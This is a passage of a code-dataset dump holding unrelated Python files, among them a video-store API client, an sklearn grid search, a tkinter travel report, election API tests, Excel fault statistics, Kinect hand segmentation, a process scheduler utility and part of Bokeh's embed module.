+\"/customers/\" +customer_id)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef view_all_customers():\n print(\"All Active Customer Accounts:\")\n response = requests.get(URL +\"/customers\")\n print(json.dumps(response.json(), indent=2))\n return\n\ndef checking_out():\n print(\"Check Out a Video:\")\n request_body = {}\n request_body[\"customer_id\"] = int(input(\"Customer ID: \"))\n request_body[\"video_id\"] = int(input(\"Video ID: \"))\n\n response = requests.post(URL +\"/rentals/check-out\", json=request_body)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef checking_in():\n print(\"Check In a Video:\")\n request_body = {}\n request_body[\"customer_id\"] = int(input(\"Customer ID: \"))\n request_body[\"video_id\"] = int(input(\"Video ID: \"))\n\n response = requests.post(URL +\"/rentals/check-in\", json=request_body)\n print(json.dumps(response.json(), indent=1))\n return\n\n'''\n =============================================\n CUSTOMER OPTION FUNCTIONS\n =============================================\n'''\n\ndef find_videos_by():\n print(\"I'm sorry, that feature is not yet available in your area\")\n return\n\ndef check_current_rentals():\n print(\"I'm sorry, that feature is not yet available in your area\")\n return\n\n'''\n =============================================\n MAIN\n =============================================\n'''\n\ndef main(in_use=True, is_employee=False):\n print(\"WELCOME TO RETRO VIDEO STORE\")\n\n ee_id = input(\"Employee? Please enter your 4 digit id. Hit Enter to continue as a customer.\\n\")\n if len(ee_id) == 4 and ee_id.isdigit():\n print(f\"Welcome to work, Employee {ee_id}\")\n is_employee = True\n list_options_ee()\n\n while is_employee and in_use:\n func_call_dict = {\n \"1\" : add_video,\n \"2\" : edit_video,\n \"3\" : remove_video,\n \"4\" : view_video_stock,\n \"5\" : view_single_video,\n \"6\" : add_customer,\n \"7\" : edit_customer,\n \"8\" : delete_customer,\n \"9\" : view_customer,\n \"10\" : view_all_customers,\n \"11\" : checking_out,\n \"12\" : checking_in\n }\n\n choice = None\n while choice not in func_call_dict:\n choice = input(\"What would you like to do? Q to quit.\\n\")\n\n if choice == \"Q\" or choice == 'q':\n print(f\"Goodbye Retro Video Store Employee {ee_id}!\")\n bar_break()\n return\n \n func_call_dict[choice]()\n bar_break()\n \n while in_use:\n func_call_dict = {\n \"1\" : find_videos_by,\n \"2\" : check_current_rentals\n }\n\n choice = None\n while choice not in func_call_dict:\n choice = input(\"What would you like to do? Q to quit.\\n\")\n\n if choice == \"Q\" or choice == 'q':\n print(f\"Goodbye Retro Video Store Employee {ee_id}!\")\n bar_break()\n return\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"170910237","text":"from sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split, KFold, cross_val_score, GridSearchCV\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\n\n\nimport pandas as pd\nfrom sklearn.utils.testing import all_estimators\n\n# scikit-learn 0.20.3 에서 31개\n# scikit-learn 0.21.2 에서 40개중 4개만 돔.\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\niris_data = pd.read_csv(\"./keras/ml/Data/iris2.csv\", encoding= 'utf-8' )\n\n# 붓꽃 데이이터 레이블과 입력 데이터로 분리하기\ny = iris_data.loc[:, \"Name\"]\nx = iris_data.loc[:,[ \"SepalLength\",\"SepalWidth\",\"PetalLength\",\"PetalWidth\"]]\n\n# 학습 전용과 테스트 전용 분리하기\nwarnings.filterwarnings('ignore')\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n\n# 그리드 서치에서 사용 할 매개 변수 -- (*1)\n\nparameters = [\n {\"n_estimators\": [1,10,100,1000], \"min_samples_split\":[2,3,4,5]},\n {\"n_estimators\": [1,10,100,1000], \"min_samples_split\":[2,3,4,5], \"min_samples_leaf\":[1,2,3,4]},\n {\"n_estimators\": [1,10,100,1000], \"min_samples_split\":[2,3,4,5], \"bootstrap\": [\"True\", \"False\"]}\n]\n\n# 그리드 서치 --- (*2)\nkfold_cv = KFold(n_splits= 5, shuffle=True)\nmodel = GridSearchCV( RandomForestClassifier(), parameters, cv=kfold_cv)\nmodel.fit(x_train, y_train)\nprint(\"/n-------------------\")\nprint(\" 최적의 매개 변수 = \", model.best_estimator_)\n\n# 최적의 매개 변수로 평가하기 ---(*3)\ny_pred = model.predict(x_test)\nprint(\"/n-------------------\")\nprint(\"최종 정답률 = \", accuracy_score(y_test, y_pred))","sub_path":"ml/m10_gridSearch2_rf.py","file_name":"m10_gridSearch2_rf.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"578582790","text":"from operator import itemgetter\nimport os\nimport tkinter as tk\nimport ttk\nimport model\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import func\n\nsession = sessionmaker(bind=model.db)\nsession = session()\n\nroot = tk.Tk()\nroot.title(\"Rapport\")\n\ncontainer = ttk.Frame(root)\ncontainer.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))\ninfo_message = tk.StringVar()\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\ndef aantalreis():\n \"\"\"\n Hier wordt een rapport gemaakt van het aantal reizen per reiziger en die wordt in een tesktbestand opgeslagen.\n \"\"\"\n file = open(\"_aantal reizen per ovchipkaart.txt\", 'w')\n ovgebruikers = session.query(model.Reis, func.count(model.Reis.ov_id)).group_by(model.Reis.ov_id)\n ovgebruikers = sorted(ovgebruikers, key=itemgetter(1), reverse=True)\n for ovgebruiker in ovgebruikers:\n ovgebruiker_name = session.query(model.Reis).filter_by(ov_id=ovgebruiker[0].ov_id).first().ov_id\n file.write(\"OV-chipkaart: {ovgebruiker} Totaal aantal reizen: {aantal_reizen}\\n\".format(ovgebruiker=ovgebruiker_name, aantal_reizen=ovgebruiker[1]))\n file.close()\n info_message.set(\"Het bestand is opgeslagen op:\\n{dir}\\\\_aantal reizen per ovchipkaart.txt\".format(dir=current_dir))\n\ndef populairbesteming():\n \"\"\"\n Hier wordt een rapport gemaakt van de populairste bestemmingen en die wordt in een tesktbestand opgeslagen.\n \"\"\"\n file = open(\"_populairste-bestemmingen.txt\", 'w')\n stations = session.query(model.Reis, func.count(model.Reis.eindstation_id)).group_by(model.Reis.eindstation_id).all()\n stations = sorted(stations, key=itemgetter(1), reverse=True)\n for station in stations:\n station_name = session.query(model.Station).filter_by(station_id=station[0].eindstation_id).first().station_naam\n file.write(\"Station {station} is {aantal_bezocht} keer de bestemming geweest van een OV-gebruiker.\\n\".format(station=station_name, aantal_bezocht=station[1]))\n file.close()\n info_message.set(\"Het bestand is opgeslagen op:\\n{dir}\\\\_populairste-bestemmingen.txt\".format(dir=current_dir))\n\n\ndef populairvertrek():\n \"\"\"\n Hier wordt een rapport gemaakt van de populairste vertrekstations en die wordt in een tesktbestand opgeslagen.\n \"\"\"\n file = open(\"_populairste-vertrekstations.txt\", 'w')\n stations = session.query(model.Reis, func.count(model.Reis.beginstation_id)).group_by(model.Reis.beginstation_id).all()\n stations = sorted(stations, key=itemgetter(1), reverse=True)\n for station in stations:\n station_name = session.query(model.Station).filter_by(station_id=station[0].beginstation_id).first().station_naam\n file.write(\"Vanaf station {station} is {aantal_bezocht} keer een OV-gebruiker vertrokken.\\n\".format(station=station_name, aantal_bezocht=station[1]))\n file.close()\n info_message.set(\"Het bestand is opgeslagen op:\\n{dir}\\\\_populairste-vertrekstations.txt\".format(dir=current_dir))\n\n\ntk.Label(container, text=\"Raport -Kies een van de opties\", anchor=\"center\", font=\"-size 10 -weight bold\").grid(column=0, row=0, columnspan=3, sticky=(tk.W, tk.E))\ntk.Label(container, textvariable=info_message, wraplength=500).grid(column=0, columnspan=3, row=1, sticky=(tk.W, tk.E))\ntk.Button(container, text=\"De populairste bestemmingen\", command=populairbesteming).grid(column=0, row=2, sticky=tk.W)\ntk.Button(container, text=\"De populairste vertrekstations\", command=populairvertrek).grid(column=1, row=2, sticky=tk.W)\ntk.Button(container, text=\"Het aantal reizen per ovchipkaart\", command=aantalreis).grid(column=2, row=2, sticky=tk.W)\n\n\nroot.mainloop()\n","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"295743145","text":"import tests.aswwu.behaviors.elections.election.election_subtests as election_subtests\nimport tests.aswwu.behaviors.elections.position.position_requests as position_requests\nimport tests.aswwu.behaviors.elections.vote.vote_requests as vote_requests\nimport tests.aswwu.behaviors.elections.vote.vote_subtests as vote_subtests\nimport tests.aswwu.behaviors.auth.auth_subtests as auth_subtests\nimport tests.aswwu.data.paths as paths\nimport tests.utils as utils\nimport json\nfrom tests.conftest import testing_server\n\nPOSITION_DATA = {\n 'position': 'Senator',\n 'election_type': 'aswwu',\n 'active': 'True',\n 'order': 1\n}\n\n\ndef test_post_vote(testing_server):\n admin_session = election_subtests.create_elections_admin()\n election_id = election_subtests.assert_post_dynamic_election(admin_session)['id']\n position_resp = position_requests.post_position(admin_session, POSITION_DATA['position'],\n POSITION_DATA['election_type'],\n POSITION_DATA['active'], POSITION_DATA['order'])\n position_id = json.loads(position_resp.text)['id']\n vote_subtests.create_votes(admin_session, election_id, position_id)\n\n\ndef test_post_vote_candidates(testing_server):\n pass\n\n\ndef test_get_vote(testing_server):\n admin_session = election_subtests.create_elections_admin()\n election_id = election_subtests.assert_post_dynamic_election(admin_session)['id']\n position_resp = position_requests.post_position(admin_session, POSITION_DATA['position'],\n POSITION_DATA['election_type'],\n POSITION_DATA['active'], POSITION_DATA['order'])\n position_id = json.loads(position_resp.text)['id']\n vote_data = vote_subtests.create_votes(admin_session, election_id, position_id)\n users = utils.load_csv(paths.USERS_PATH)\n\n for count, user in enumerate(users):\n user_session = auth_subtests.assert_verify_login(user)[1]\n resp = vote_requests.get_vote(user_session, position_id, user['username'])\n assert (resp.status_code == 200)\n resp_text = json.loads(resp.text)['votes']\n for vote in resp_text:\n vote_subtests.assert_vote_data(vote, vote_data[user['username']])\n","sub_path":"tests/aswwu/behaviors/elections/vote/test_vote.py","file_name":"test_vote.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"196351402","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Mar 17 18:25:03 2019\r\n\r\n@author: MCA\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport math \r\n\r\ndef find_nearest(array, value):\r\n array = np.asarray(array)\r\n idx = (np.abs(array - value)).argmin()\r\n return array[idx]\r\n\r\n\r\ndef find_nearest_sorted(array,value):\r\n idx = np.searchsorted(array, value, side=\"left\")\r\n if idx > 0 and (idx == len(array) or math.fabs(value - array[idx-1]) < math.fabs(value - array[idx])):\r\n return array[idx-1]\r\n else:\r\n return array[idx]","sub_path":"find_nearest.py","file_name":"find_nearest.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"543629211","text":"# -*- coding: utf-8 -*-\n\nimport subprocess\n\nfrom jac.compat import file, u, utf8_encode\n\nclass CSSCompressor(object):\n \"\"\"compressor for text/css mimetypes.\n\n Uses the lesss clean-css command line program for compression.\n \"\"\"\n\n @classmethod\n def compile(cls, what, mimetype='text/css', cwd=None, uri_cwd=None,\n debug=None):\n\n args = ['lessc', '--clean-css=\"--compatibility=ie8 --advanced\"', '-']\n handler = subprocess.Popen(' '.join(args),\n shell=True,\n stdout=subprocess.PIPE,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE, cwd=None)\n\n if isinstance(what, file):\n what = what.read()\n (stdout, stderr) = handler.communicate(input=utf8_encode(what))\n stdout = u(stdout)\n\n if handler.returncode == 0:\n return stdout\n else:\n raise RuntimeError('Test this :S %s' % stderr)\n","sub_path":"jac/compressors/css.py","file_name":"css.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"278855297","text":"# -*- coding: utf-8 -*-\nfrom collections import Counter,OrderedDict\n\nimport xlrd\nfrom openpyxl import load_workbook\n\n\nclass Data:\n\n def __init__(self, date, path):\n self.gather_file = load_workbook(filename=u'FE+FC+FD.xlsx', guess_types=True)\n self.all_file = xlrd.open_workbook(path+date+'all.xls')\n self.suc_file = xlrd.open_workbook(path+date + '00.xls')\n self.fe_file = xlrd.open_workbook(path+date + 'fe.xls')\n self.fc_file = xlrd.open_workbook(path+date + 'fc.xls')\n self.fd_file = xlrd.open_workbook(path+date + 'fd.xls')\n self.date = date\n\n self.err_dicts = {}\n\n def update_gather(self):\n # gather_rows = self.count_all(self.gather_file) + 3\n all_count = self.count_all(self.all_file)\n suc_count = self.count_all(self.suc_file)\n fe_count = self.count_all(self.fe_file)\n fc_count = self.count_all(self.fc_file)\n fd_count = self.count_all(self.fd_file)\n err_count = fe_count+fc_count+fd_count\n\n err_rate = float(err_count)/float(all_count)\n fe_rate = float(fe_count)/float(err_count)\n fc_rate = float(fc_count) / float(err_count)\n fd_rate = float(fd_count) / float(err_count)\n\n fe_concentration = self.calculate_concentration(self.fe_file, 'fe')\n fc_concentration = self.calculate_concentration(self.fc_file, 'fc')\n fd_concentration = self.calculate_concentration(self.fd_file, 'fd')\n\n gather_sheet = self.gather_file.worksheets[4]#待定\n gather_rows = str(gather_sheet.max_row + 1)\n\n date = self.modify_date()\n gather_sheet['A' + gather_rows] = date\n gather_sheet['B' + gather_rows] = fe_count\n gather_sheet['C' + gather_rows] = fc_count\n gather_sheet['D' + gather_rows] = fd_count\n gather_sheet['E' + gather_rows] = err_count\n gather_sheet['F' + gather_rows] = suc_count\n gather_sheet['G' + gather_rows] = all_count\n\n gather_sheet['H' + gather_rows] = err_rate\n gather_sheet['I' + gather_rows] = fe_concentration\n gather_sheet['J' + gather_rows] = fc_concentration\n gather_sheet['K' + gather_rows] = fd_concentration\n gather_sheet['L' + gather_rows] = 0.25\n gather_sheet['M' + gather_rows] = fe_rate\n gather_sheet['N' + gather_rows] = fc_rate\n gather_sheet['O' + gather_rows] = fd_rate\n for c in range(ord('H'), ord('O')+1):\n gather_sheet[chr(c) + gather_rows].number_format = \"##.#%\"\n\n self.update_err_sheet('fe', 0)\n self.update_err_sheet('fc', 1)\n self.update_err_sheet('fd', 2)\n self.gather_file.save(u'FE+FC+FD.xlsx')\n\n def modify_date(self):\n arr = self.date.split(r'-')\n m = int(arr[1])\n d = arr[2]\n date = str(m) + u'月' + d + u'日'\n return date\n\n def update_err_sheet(self, type, sheet_index):\n err_sheet = self.gather_file.worksheets[sheet_index]\n ncols = err_sheet.max_column+1\n self.write_err_sheet(type, err_sheet, ncols)\n\n def write_err_sheet(self, type, err_sheet, ncols):\n err_sheet.cell(row=1, column=ncols).value = self.date+u'车辆编号'\n err_sheet.cell(row=1, column=ncols+1).value = u'计数'\n\n n = 2\n for k, v in self.err_dicts[type].iteritems():\n err_sheet.cell(row=n, column=ncols).value = k\n err_sheet.cell(row=n, column=ncols+1).value = v\n n += 1\n\n def count_all(self, workbook):\n n_rows = 0\n i = 0\n for sheet in workbook.sheets():\n table = sheet\n n_rows += table.nrows\n i += 1\n return n_rows - 2 * i - 1\n\n def calculate_concentration(self, workbook, type):\n error_count = self.count_all(workbook)\n\n bus_num_counter = Counter()\n n_sheets = workbook.sheets().__len__() # 页数\n for sheet in workbook.sheets():\n table = sheet\n n_rows = table.nrows\n if n_sheets == 1:\n n_rows -= 1 # 最后一页最后一行不算\n for i in range(2, n_rows):\n bus_num = table.cell(i, 5).value.encode(\"utf-8\")\n bus_num_counter[bus_num] += 1\n n_sheets -= 1\n\n bus_num_dict = OrderedDict(bus_num_counter.most_common())\n\n #列表词典\n self.err_dicts[type] = bus_num_dict\n\n bus_num_total_count = bus_num_dict.__len__() # 出现车辆数\n\n #前25%车辆\n top_quarter = bus_num_total_count/4 if bus_num_total_count%4 == 0 else bus_num_total_count/4 +1\n top_quarter_bus = OrderedDict(bus_num_counter.most_common(top_quarter))\n #前25%车辆出现的故障次数\n quarter_bus_errors = 0\n for k, v in top_quarter_bus.iteritems():\n freq = int(v)\n quarter_bus_errors += freq\n\n # 修复2017-08-05除数为0的bug\n if error_count == 0:\n return 0.0000\n return float(quarter_bus_errors)/float(error_count)\n\nif __name__ == '__main__':\n import datetime\n file_path = r'C:\\DownLoads\\HZBUS\\\\'\n date = datetime.date(2017, 9, 23).strftime(\"%Y-%m-%d\")\n data = Data(date, file_path)\n data.update_gather()","sub_path":"HZBus/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"98657841","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 18 11:07:13 2019\n\n@author: mrdra\n\"\"\"\n\nfrom pykinect2 import PyKinectV2\nfrom pykinect2.PyKinectV2 import *\nfrom pykinect2 import PyKinectRuntime\n\nimport ctypes\nimport cv2\nimport numpy as np\nimport _ctypes\nimport sys\nimport time\nimport threading\nimport queue\n\n\nclass Closest_Body_Frame(object):\n def __init__(self, body_frame, engage_min, engage_max):\n self.body_frame = body_frame\n self.engage_min = engage_min\n self.engage_max = engage_max\n self.engaged = False\n self.bodies_tracked = 0\n self.closest_body = None\n \n tracked_bodies = {}\n for body in self.body_frame.bodies:\n if body.is_tracked:\n tracked_bodies[self.distance_from_kinect(body)] = body\n self.bodies_tracked += 1\n \n if self.bodies_tracked > 0:\n self.closest_body = tracked_bodies[min(tracked_bodies.keys())] \n self.engaged = self.is_engaged(self.closest_body)\n \n def distance_from_kinect(self, body):\n pos = body.joints[JointType_SpineBase].Position\n return pos.x**2 + pos.y**2 + pos.z**2\n \n def is_engaged(self, body):\n if body is None:\n return False\n dist = self.distance_from_kinect(body)\n return self.engage_min < dist and self.engage_max > dist\n\n def check_for_bodies(self):\n if self.bodies_tracked > 0:\n return True\n return False\n\nclass Preprocessed_Frame(object):\n def __init__(self, frame, left_mask, right_mask, timestamp, engagement):\n self.frame = frame\n self.left_mask = left_mask\n self.right_mask = right_mask\n self.timestamp = timestamp\n self.engagement = engagement\n\n def masks_valid(self):\n return self.left_mask_valid and self.right_mask_valid\n\n def left_mask_valid(self):\n if left_mask:\n return True\n return False\n\n def right_mask_valid(self):\n if right_mask:\n return True\n return False\n\nclass CANet_Preprocessor(threading.Thread):\n def __init__(self, engage_min, engage_max):\n threading.Thread.__init__(self)\n self.kinect = PyKinectRuntime.PyKinectRuntime(PyKinectV2.FrameSourceTypes_Depth | PyKinectV2.FrameSourceTypes_Body)\n self.engage_min = engage_min\n self.engage_max = engage_max\n self.cbf = None\n self.df = None\n self.fx = 288.03\n self.fy = 287.07\n self.cube_size = 396\n self.fallback_size = 200\n self.frames = []\n self.queue = queue.Queue()\n self.event = threading.Event()\n self.frame = None\n\n def get_hand_positions(self):\n joint_points = self.kinect.body_joints_to_depth_space(self.cbf.closest_body.joints)\n return joint_points[JointType_HandRight], joint_points[JointType_HandLeft]\n\n def new_depth_frame_arrived(self):\n return self.kinect.has_new_depth_frame()\n\n def new_body_frame_arrived(self):\n return self.kinect.has_new_body_frame()\n\n def get_frame(self):\n self.event.clear()\n return self.frame\n\n def event_set(self):\n return self.event.is_set()\n\n def body_engaged(self):\n if self.cbf:\n return self.cbf.engaged\n return False\n \n def segment(self, hand_pos):\n x_start = 0\n y_start = 0\n x_end = self.fallback_size\n y_end = self.fallback_size\n mask = np.zeros(self.df.shape)\n depth_valid = True\n \n x = int(hand_pos.x)\n y = int(hand_pos.y)\n \n if x < 0 or x >= mask.shape[1] or y < 0 or y >= mask.shape[0]:\n return mask\n z = self.df[y, x]\n \n if z == 0:\n depth_valid = False\n \n if depth_valid:\n x_start = int(x - (self.cube_size*self.fx)/(2*z))\n x_end = int(x + (self.cube_size*self.fx)/(2*z))\n\n y_start = int(y - (self.cube_size*self.fy)/(2*z))\n y_end = int(y + (self.cube_size*self.fy)/(2*z))\n \n mask[max(y_start, 0):min(y_end, mask.shape[0]-1), max(x_start, 0):min(x_end, mask.shape[1]-1)] = 255\n \n return mask\n\n def run(self):\n while True:\n if self.kinect.has_new_body_frame():\n self.cbf = Closest_Body_Frame(self.kinect.get_last_body_frame(), self.engage_min, self.engage_max)\n\n if self.cbf and self.cbf.check_for_bodies():\n if self.kinect.has_new_depth_frame():\n self.df = self.kinect.get_last_depth_frame()\n timestamp = time.time()\n self.df = np.resize(self.df, (424, 512))\n right_pos, left_pos = self.get_hand_positions()\n left_mask = self.segment(left_pos)\n right_mask = self.segment(right_pos)\n\n self.frame = Preprocessed_Frame(self.df, left_mask, right_mask, timestamp, self.cbf.engaged)\n self.event.set()\n\n\n\nclass_instance = CANet_Preprocessor(0.0, 10.0)\nclass_instance.start()\ntotal_time = 0\nframe_count = 0\nstart = time.time()\nwhile True:\n if class_instance.event.is_set():\n start = time.time()\n frame_count+=1\n class_instance.event.clear()\n frame = class_instance.frame\n print(1/(time.time() - start+.00001))\n cv2.imshow(\"frame\", frame.frame)\n cv2.imshow(\"left mask\", np.multiply(frame.left_mask, frame.frame))\n cv2.imshow(\"right mask\", np.multiply(frame.right_mask, frame.frame))\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n","sub_path":"BlocksWorld/Assets/_Core/Scripts/Perception/CANet/CANet_preprocessing.py","file_name":"CANet_preprocessing.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"385379372","text":"import enum\n\n\nclass Action(enum.Enum):\n new = 0 # process have not arrive at CPU\n ready = 1 # ready to use CPU\n burst = 2 # actively using CPU\n block = 3 # I/O time\n ternimated = 4 # process terminates\n \n enter_CPU = 5\n leave_CPU = 6\n preempted = 7\n\n\nclass Process:\n def __init__(self, name: str):\n self.name = name\n self.arrival_time = 0 # process arrival time, in MILLISECONDS\n\n self.burst_time = [] # CPU burst time in MS\n self.block_time = [] # I/O block time in MS\n self.index = 0\n self.remain = 0\n\n # process current status\n self.action = Action.new\n # time of the process finish current status in MILLISECONDS. If process\n # enters CPU at x ms, and takes y ms CPU burst, action_leave will be\n # x + y\n self.action_enter = 0\n self.action_leave = 0\n\n self.wait_time = 0\n self.preempt_count = 0\n self.switch_count = 0\n self.tau = 0\n\n # use setattr(object, name, value) to add attribute with your needs\n\n\n\"\"\"\nLinear congruential generator, generate random numbers\nAlgorithm is inherited from POSIX\n\"\"\"\n\n\nclass LCG:\n def __init__(self):\n self.seed = 0\n\n # initialize seed, detail implementation see man srand48\n def srand48(self, seedval: int):\n self.seed = ((seedval & 0xFFFFFFFF) << 16) | 0x330E\n\n # get random number, detail implementation see man drand48\n def drand48(self) -> float:\n self.seed = (0x5DEECE66D * self.seed + 0xB) & 0xffffffffffff\n return float(self.seed / 0x1000000000000)","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"16446545","text":"''' This module provides functions for embedding Bokeh plots in various\ndifferent ways.\n\nThere are a number of different combinations of options when embedding\nBokeh plots. The data for the plot can be contained in the document,\nor on a Bokeh server, or in a sidecar JavaScript file. Likewise, BokehJS\nmay be inlined in the document, or loaded from CDN or a Bokeh server.\n\nThe functions in ``bokeh.embed`` provide functionality to embed in all\nthese different cases.\n\n'''\n\nimport uuid\n\nfrom .protocol import serialize_json\nfrom .resources import Resources\nfrom .templates import (\n AUTOLOAD, AUTOLOAD_SERVER, AUTOLOAD_STATIC, FILE,\n NOTEBOOK_DIV, PLOT_DIV, PLOT_JS, PLOT_SCRIPT, RESOURCES\n)\nfrom .utils import encode_utf8\n\ndef components(plot_object, resources):\n ''' Return HTML components to embed a Bokeh plot.\n\n The data for the plot is stored directly in the returned HTML.\n\n .. note:: The returned components assume that BokehJS resources\n are **already loaded**.\n\n Args:\n plot_object (PlotObject) : Bokeh object to render\n typically a Plot or PlotContext\n resources (Resources, optional) : BokehJS resources config\n\n Returns:\n (script, div) : UTF-8 encoded\n\n '''\n ref = plot_object.ref\n elementid = str(uuid.uuid4())\n\n js = PLOT_JS.render(\n elementid = elementid,\n modelid = ref[\"id\"],\n modeltype = ref[\"type\"],\n all_models = serialize_json(plot_object.dump()),\n )\n script = PLOT_SCRIPT.render(\n plot_js = resources.js_wrapper(js),\n )\n div = PLOT_DIV.render(elementid=elementid)\n\n return encode_utf8(script), encode_utf8(div)\n\n\ndef notebook_div(plot_object):\n ''' Return HTML for a div that will display a Bokeh plot in an\n IPython Notebook\n\n The data for the plot is stored directly in the returned HTML.\n\n Args:\n plot_object (PlotObject) : Bokeh object to render\n typically a Plot or PlotContext\n\n Returns:\n div : UTF-8 encoded HTML text\n\n .. note:: Assumes ``bokeh.load_notebook()`` or the equivalent has\n already been executed.\n\n '''\n ref = plot_object.ref\n resources = Resources()\n elementid = str(uuid.uuid4())\n\n js = PLOT_JS.render(\n elementid = elementid,\n modelid = ref[\"id\"],\n modeltype = ref[\"type\"],\n all_models = serialize_json(plot_object.dump()),\n )\n script = PLOT_SCRIPT.render(\n plot_js = resources.js_wrapper(js),\n )\n div = PLOT_DIV.render(elementid=elementid)\n html = NOTEBOOK_DIV.render(\n plot_script = script,\n plot_div = div,\n )\n return encode_utf8(html)\n\n\ndef file_html(plot_object, resources, title, template=FILE):\n ''' Return an HTML document that embeds a Bokeh plot.\n\n The data for the plot is stored directly in the returned HTML.\n\n Args:\n plot_object (PlotObject) : Bokeh object to render\n typically a Plot or PlotContext\n resources (Resources) : a resource configuration for BokehJS assets\n title (str) : a title for the HTML document ```` tags\n template (Template, optional) : HTML document template (default: FILE)\n A Jinja2 Template, see bokeh.templates.FILE for the required\n template parameters\n\n Returns:\n html : standalone HTML document with embedded plot\n\n '''\n plot_resources = RESOURCES.render(\n js_raw = resources.js_raw,\n css_raw = resources.css_raw,\n js_files = resources.js_files,\n css_files = resources.css_files,\n )\n script, div = components(plot_object, resources)\n html = template.render(\n title = title,\n plot_resources = plot_resources,\n plot_script = script,\n plot_div = div,\n )\n return encode_utf8(html)\n\n\ndef autoload_static(plot_object, resources, script_path):\n ''' Return JavaScript code and a script tag that can be used to embed\n Bokeh Plots.\n\n The data for the plot is stored directly in the returned JavaScript code.\n\n Args:\n plot_object (PlotObject) :\n resources (Resources) :\n script_path (str) :\n\n Returns:\n (js, tag) :\n JavaScript code to be saved at ``script_path`` and a ``